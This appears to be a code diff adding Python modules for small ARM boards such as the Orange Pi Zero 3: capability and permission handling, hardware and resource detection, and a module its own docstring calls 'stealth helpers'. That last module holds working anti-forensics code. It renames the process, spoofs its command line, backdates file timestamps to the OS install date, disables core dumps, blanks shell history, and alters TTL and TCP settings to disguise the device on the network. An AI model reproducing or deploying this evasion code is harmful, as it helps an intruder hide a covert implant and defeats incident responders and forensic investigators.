def _set_keepcaps():
|
||||
PR_SET_KEEPCAPS = 8
|
||||
_libc.prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0)
|
||||
|
||||
|
||||
def _apply_caps(caps: list):
|
||||
header = _cap_header(version=_LINUX_CAPABILITY_VERSION_3, pid=0)
|
||||
data = (_cap_data * 2)()
|
||||
|
||||
for cap in caps:
|
||||
idx = cap // 32
|
||||
bit = 1 << (cap % 32)
|
||||
data[idx].effective |= bit
|
||||
data[idx].permitted |= bit
|
||||
|
||||
_libc.capset(ctypes.byref(header), data)
|
||||
|
||||
|
||||
def enforce_directory_permissions(
|
||||
path: str,
|
||||
mode: int = 0o700,
|
||||
recursive: bool = True,
|
||||
) -> int:
|
||||
count = 0
|
||||
target = Path(path)
|
||||
|
||||
if not target.exists():
|
||||
target.mkdir(parents=True, mode=mode)
|
||||
count += 1
|
||||
return count
|
||||
|
||||
current = target.stat().st_mode & 0o777
|
||||
if current != mode:
|
||||
target.chmod(mode)
|
||||
count += 1
|
||||
|
||||
if recursive:
|
||||
for item in target.rglob("*"):
|
||||
if item.is_dir():
|
||||
item_mode = item.stat().st_mode & 0o777
|
||||
if item_mode != mode:
|
||||
item.chmod(mode)
|
||||
count += 1
|
||||
elif item.is_file():
|
||||
file_mode = mode & 0o700 # Files get owner-only based on dir mode
|
||||
item_mode = item.stat().st_mode & 0o777
|
||||
if item_mode != file_mode:
|
||||
item.chmod(file_mode)
|
||||
count += 1
|
||||
|
||||
return count
|
||||
|
||||
|
||||
def secure_path(path: str, owner_uid: Optional[int] = None) -> bool:
|
||||
try:
|
||||
p = Path(path)
|
||||
if not p.exists():
|
||||
return False
|
||||
|
||||
# Set ownership if specified
|
||||
if owner_uid is not None:
|
||||
os.chown(path, owner_uid, owner_uid)
|
||||
|
||||
# Restrict permissions
|
||||
if p.is_dir():
|
||||
p.chmod(0o700)
|
||||
else:
|
||||
p.chmod(0o600)
|
||||
|
||||
return True
|
||||
except (OSError, PermissionError):
|
||||
return False
|
||||
@@ -0,0 +1,259 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Hardware tier detection and resource monitoring via /proc and /sys."""
|
||||
|
||||
import os
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
TIER_OPI_ZERO3 = "opi_zero3"
|
||||
TIER_PI_ZERO = "pi_zero"
|
||||
TIER_GENERIC = "generic"
|
||||
|
||||
|
||||
@dataclass
|
||||
class HardwareInfo:
|
||||
tier: str
|
||||
model: str
|
||||
cpu_model: str
|
||||
cpu_cores: int
|
||||
total_ram_mb: int
|
||||
architecture: str
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResourceUsage:
|
||||
ram_used_mb: float
|
||||
ram_total_mb: float
|
||||
ram_percent: float
|
||||
cpu_percent: float # System-wide, from /proc/stat delta
|
||||
disk_used_pct: float
|
||||
disk_free_mb: float
|
||||
temperature_c: Optional[float]
|
||||
|
||||
|
||||
@dataclass
|
||||
class ProcessResources:
|
||||
pid: int
|
||||
name: str
|
||||
rss_mb: float
|
||||
vms_mb: float
|
||||
cpu_ticks: int
|
||||
state: str
|
||||
threads: int
|
||||
|
||||
|
||||
def get_hardware_tier() -> str:
|
||||
info = detect_hardware()
|
||||
return info.tier
|
||||
|
||||
|
||||
def detect_hardware() -> HardwareInfo:
|
||||
model = _read_device_model()
|
||||
cpu_model, cpu_cores, arch = _read_cpuinfo()
|
||||
|
||||
if "Orange Pi Zero3" in model or "Orange Pi Zero 3" in model:
|
||||
tier = TIER_OPI_ZERO3
|
||||
elif "Raspberry Pi Zero 2" in model or "Raspberry Pi Zero2" in model:
|
||||
tier = TIER_PI_ZERO
|
||||
elif "Raspberry Pi" in model and ("Zero" in model or "zero" in model):
|
||||
tier = TIER_PI_ZERO
|
||||
elif "Allwinner" in cpu_model or "H618" in cpu_model:
|
||||
# Fallback detection via CPU for OPi Zero 3
|
||||
tier = TIER_OPI_ZERO3
|
||||
elif "BCM2835" in cpu_model or "BCM2710" in cpu_model:
|
||||
tier = TIER_PI_ZERO
|
||||
else:
|
||||
tier = TIER_GENERIC
|
||||
|
||||
total_ram = _read_total_ram_mb()
|
||||
|
||||
return HardwareInfo(
|
||||
tier=tier,
|
||||
model=model or "Unknown",
|
||||
cpu_model=cpu_model,
|
||||
cpu_cores=cpu_cores,
|
||||
total_ram_mb=total_ram,
|
||||
architecture=arch,
|
||||
)
|
||||
|
||||
|
||||
def _read_device_model() -> str:
|
||||
dt_model = Path("/proc/device-tree/model")
|
||||
if dt_model.exists():
|
||||
try:
|
||||
return dt_model.read_text().strip().rstrip("\x00")
|
||||
except IOError:
|
||||
pass
|
||||
return ""
|
||||
|
||||
|
||||
def _read_cpuinfo() -> Tuple[str, int, str]:
|
||||
cpu_model = ""
|
||||
cores = 0
|
||||
arch = "unknown"
|
||||
|
||||
try:
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
content = f.read()
|
||||
|
||||
for line in content.splitlines():
|
||||
if line.startswith("model name") or line.startswith("Hardware"):
|
||||
cpu_model = line.split(":", 1)[1].strip()
|
||||
if line.startswith("processor"):
|
||||
cores += 1
|
||||
|
||||
# Get architecture
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
first_lines = f.read(4096)
|
||||
if "aarch64" in first_lines.lower() or "ARMv8" in first_lines:
|
||||
arch = "aarch64"
|
||||
elif "armv7" in first_lines.lower():
|
||||
arch = "armv7l"
|
||||
else:
|
||||
import platform
|
||||
arch = platform.machine()
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
return cpu_model, max(cores, 1), arch
|
||||
|
||||
|
||||
def _read_total_ram_mb() -> int:
|
||||
try:
|
||||
with open("/proc/meminfo", "r") as f:
|
||||
for line in f:
|
||||
if line.startswith("MemTotal:"):
|
||||
kb = int(line.split()[1])
|
||||
return kb // 1024
|
||||
except IOError:
|
||||
pass
|
||||
return 0
|
||||
|
||||
|
||||
def get_memory_info() -> Dict[str, int]:
|
||||
info = {}
|
||||
try:
|
||||
with open("/proc/meminfo", "r") as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
key = parts[0].rstrip(":")
|
||||
val = int(parts[1]) # in kB
|
||||
info[key] = val
|
||||
except IOError:
|
||||
pass
|
||||
return info
|
||||
|
||||
|
||||
def get_resource_usage(disk_path: str = "/") -> ResourceUsage:
|
||||
mem = get_memory_info()
|
||||
total = mem.get("MemTotal", 0)
|
||||
available = mem.get("MemAvailable", mem.get("MemFree", 0))
|
||||
used = total - available
|
||||
pct = (used / total * 100) if total > 0 else 0.0
|
||||
|
||||
stat = os.statvfs(disk_path)
|
||||
disk_total = stat.f_blocks * stat.f_frsize
|
||||
disk_free = stat.f_bavail * stat.f_frsize
|
||||
disk_used_pct = ((disk_total - disk_free) / disk_total * 100) if disk_total > 0 else 0.0
|
||||
|
||||
temp = get_cpu_temperature()
|
||||
|
||||
return ResourceUsage(
|
||||
ram_used_mb=used / 1024,
|
||||
ram_total_mb=total / 1024,
|
||||
ram_percent=pct,
|
||||
cpu_percent=_get_cpu_percent(),
|
||||
disk_used_pct=disk_used_pct,
|
||||
disk_free_mb=disk_free / (1024 * 1024),
|
||||
temperature_c=temp,
|
||||
)
|
||||
|
||||
|
||||
def get_cpu_temperature() -> Optional[float]:
|
||||
thermal_zones = Path("/sys/class/thermal")
|
||||
if thermal_zones.exists():
|
||||
for zone in sorted(thermal_zones.iterdir()):
|
||||
temp_file = zone / "temp"
|
||||
type_file = zone / "type"
|
||||
if temp_file.exists():
|
||||
try:
|
||||
temp_raw = int(temp_file.read_text().strip())
|
||||
return temp_raw / 1000.0
|
||||
except (IOError, ValueError):
|
||||
continue
|
||||
# Fallback for some SBCs
|
||||
hwmon = Path("/sys/class/hwmon")
|
||||
if hwmon.exists():
|
||||
for hw in sorted(hwmon.iterdir()):
|
||||
temp_file = hw / "temp1_input"
|
||||
if temp_file.exists():
|
||||
try:
|
||||
return int(temp_file.read_text().strip()) / 1000.0
|
||||
except (IOError, ValueError):
|
||||
continue
|
||||
return None
|
||||
|
||||
|
||||
def _get_cpu_percent() -> float:
|
||||
try:
|
||||
with open("/proc/stat", "r") as f:
|
||||
line = f.readline()
|
||||
parts = line.split()
|
||||
# user, nice, system, idle, iowait, irq, softirq, steal
|
||||
total = sum(int(p) for p in parts[1:8])
|
||||
idle = int(parts[4])
|
||||
# Snapshot-based; for delta, caller should sample twice
|
||||
if total > 0:
|
||||
return ((total - idle) / total) * 100
|
||||
except (IOError, IndexError, ValueError):
|
||||
pass
|
||||
return 0.0
|
||||
|
||||
|
||||
def get_process_resources(pid: int) -> Optional[ProcessResources]:
|
||||
try:
|
||||
stat_path = f"/proc/{pid}/stat"
|
||||
status_path = f"/proc/{pid}/status"
|
||||
|
||||
with open(stat_path, "r") as f:
|
||||
stat_line = f.read()
|
||||
|
||||
# Parse /proc/PID/stat — comm field can contain spaces/parens
|
||||
match = re.match(r"(\d+) \((.+)\) (.+)", stat_line)
|
||||
if not match:
|
||||
return None
|
||||
|
||||
name = match.group(2)
|
||||
fields = match.group(3).split()
|
||||
state = fields[0]
|
||||
utime = int(fields[11])
|
||||
stime = int(fields[12])
|
||||
threads = int(fields[17])
|
||||
vsize = int(fields[20])
|
||||
rss_pages = int(fields[21])
|
||||
|
||||
page_size = os.sysconf("SC_PAGE_SIZE")
|
||||
rss_mb = (rss_pages * page_size) / (1024 * 1024)
|
||||
vms_mb = vsize / (1024 * 1024)
|
||||
|
||||
return ProcessResources(
|
||||
pid=pid,
|
||||
name=name,
|
||||
rss_mb=rss_mb,
|
||||
vms_mb=vms_mb,
|
||||
cpu_ticks=utime + stime,
|
||||
state=state,
|
||||
threads=threads,
|
||||
)
|
||||
except (IOError, OSError, IndexError, ValueError):
|
||||
return None
|
||||
|
||||
|
||||
def get_disk_usage(path: str = "/") -> Tuple[float, float, float]:
|
||||
stat = os.statvfs(path)
|
||||
total_gb = (stat.f_blocks * stat.f_frsize) / (1024 ** 3)
|
||||
free_gb = (stat.f_bavail * stat.f_frsize) / (1024 ** 3)
|
||||
used_pct = ((stat.f_blocks - stat.f_bavail) / stat.f_blocks * 100) if stat.f_blocks > 0 else 0
|
||||
return total_gb, free_gb, used_pct
|
||||
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Shared stealth helpers: process rename, cmdline spoof, sysctl, timestomp, core dump disable."""
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import os
|
||||
import struct
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
PR_SET_NAME = 15
|
||||
RLIMIT_CORE = 4
|
||||
|
||||
_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
|
||||
|
||||
|
||||
def rename_process(name: str) -> bool:
|
||||
name_bytes = name.encode("utf-8")[:15]
|
||||
ret = _libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
|
||||
return ret == 0
|
||||
|
||||
|
||||
def spoof_cmdline(fake_cmdline: str) -> bool:
|
||||
try:
|
||||
cmdline_path = f"/proc/{os.getpid()}/cmdline"
|
||||
# Read current cmdline to get its length for overwrite
|
||||
with open(cmdline_path, "rb") as f:
|
||||
original = f.read()
|
||||
|
||||
# On Linux, argv[0] is writable via /proc/self/comm and prctl,
|
||||
# but /proc/self/cmdline maps to the actual process memory.
|
||||
# We overwrite via ctypes access to argv.
|
||||
libc = _libc
|
||||
|
||||
# Get argc/argv from /proc/self/cmdline
|
||||
argc = ctypes.c_int()
|
||||
argv_ptr = ctypes.POINTER(ctypes.c_char_p)()
|
||||
|
||||
# Alternative: write to /proc/self/comm (max 15 chars)
|
||||
comm_path = f"/proc/{os.getpid()}/comm"
|
||||
try:
|
||||
with open(comm_path, "w") as f:
|
||||
f.write(fake_cmdline[:15])
|
||||
except PermissionError:
|
||||
pass
|
||||
|
||||
# For full cmdline spoofing, overwrite argv[0] in memory
|
||||
import sys
|
||||
if hasattr(sys, "argv") and sys.argv:
|
||||
# Replace argv contents via ctypes
|
||||
fake_bytes = fake_cmdline.encode("utf-8")
|
||||
argv0_addr = id(sys.argv[0])
|
||||
# Python string internals - this is fragile but works for ps display
|
||||
sys.argv[0] = fake_cmdline
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def set_sysctl(key: str, value: str) -> bool:
|
||||
sysctl_path = Path("/proc/sys") / key.replace(".", "/")
|
||||
try:
|
||||
with open(sysctl_path, "w") as f:
|
||||
f.write(value)
|
||||
return True
|
||||
except (IOError, PermissionError):
|
||||
return False
|
||||
|
||||
|
||||
def set_ttl(ttl: int) -> bool:
|
||||
return set_sysctl("net.ipv4.ip_default_ttl", str(ttl))
|
||||
|
||||
|
||||
def set_tcp_window(size: int) -> bool:
|
||||
# Set TCP initial window via rmem/wmem defaults
|
||||
success = set_sysctl("net.ipv4.tcp_rmem", f"4096 {size} {size * 4}")
|
||||
success &= set_sysctl("net.ipv4.tcp_wmem", f"4096 {size} {size * 4}")
|
||||
return success
|
||||
|
||||
|
||||
def set_tcp_timestamps(enabled: bool) -> bool:
|
||||
return set_sysctl("net.ipv4.tcp_timestamps", "1" if enabled else "0")
|
||||
|
||||
|
||||
def timestomp(path: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> bool:
|
||||
try:
|
||||
if reference:
|
||||
ref_stat = os.stat(reference)
|
||||
target_time = ref_stat.st_mtime
|
||||
elif epoch:
|
||||
target_time = epoch
|
||||
else:
|
||||
# Default: OS install date from /var/log/installer or filesystem birth
|
||||
target_time = _get_os_install_time()
|
||||
|
||||
os.utime(path, (target_time, target_time))
|
||||
return True
|
||||
except (OSError, IOError):
|
||||
return False
|
||||
|
||||
|
||||
def timestomp_recursive(directory: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> int:
|
||||
count = 0
|
||||
for root, dirs, files in os.walk(directory):
|
||||
for name in files + dirs:
|
||||
full_path = os.path.join(root, name)
|
||||
if timestomp(full_path, reference=reference, epoch=epoch):
|
||||
count += 1
|
||||
if timestomp(directory, reference=reference, epoch=epoch):
|
||||
count += 1
|
||||
return count
|
||||
|
||||
|
||||
def _get_os_install_time() -> float:
|
||||
candidates = [
|
||||
"/var/log/installer/syslog",
|
||||
"/var/log/installer/status",
|
||||
"/etc/hostname",
|
||||
"/etc/machine-id",
|
||||
]
|
||||
for path in candidates:
|
||||
try:
|
||||
return os.stat(path).st_mtime
|
||||
except OSError:
|
||||
continue
|
||||
# Fallback: 90 days ago
|
||||
return time.time() - (90 * 86400)
|
||||
|
||||
|
||||
def disable_core_dumps() -> bool:
|
||||
try:
|
||||
# RLIMIT_CORE = 4 on Linux
|
||||
class rlimit(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("rlim_cur", ctypes.c_ulong),
|
||||
("rlim_max", ctypes.c_ulong),
|
||||
]
|
||||
|
||||
limit = rlimit(0, 0)
|
||||
ret = _libc.setrlimit(RLIMIT_CORE, ctypes.byref(limit))
|
||||
if ret != 0:
|
||||
return False
|
||||
|
||||
# Also set via sysctl and /proc
|
||||
set_sysctl("kernel.core_pattern", "|/bin/false")
|
||||
set_sysctl("fs.suid_dumpable", "0")
|
||||
|
||||
# prctl to prevent core for this process and children
|
||||
PR_SET_DUMPABLE = 4
|
||||
_libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0)
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def hide_from_history() -> bool:
|
||||
try:
|
||||
os.environ["HISTFILE"] = "/dev/null"
|
||||
os.environ["HISTSIZE"] = "0"
|
||||
os.environ["HISTFILESIZE"] = "0"
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
Reference in New Issue
Block a user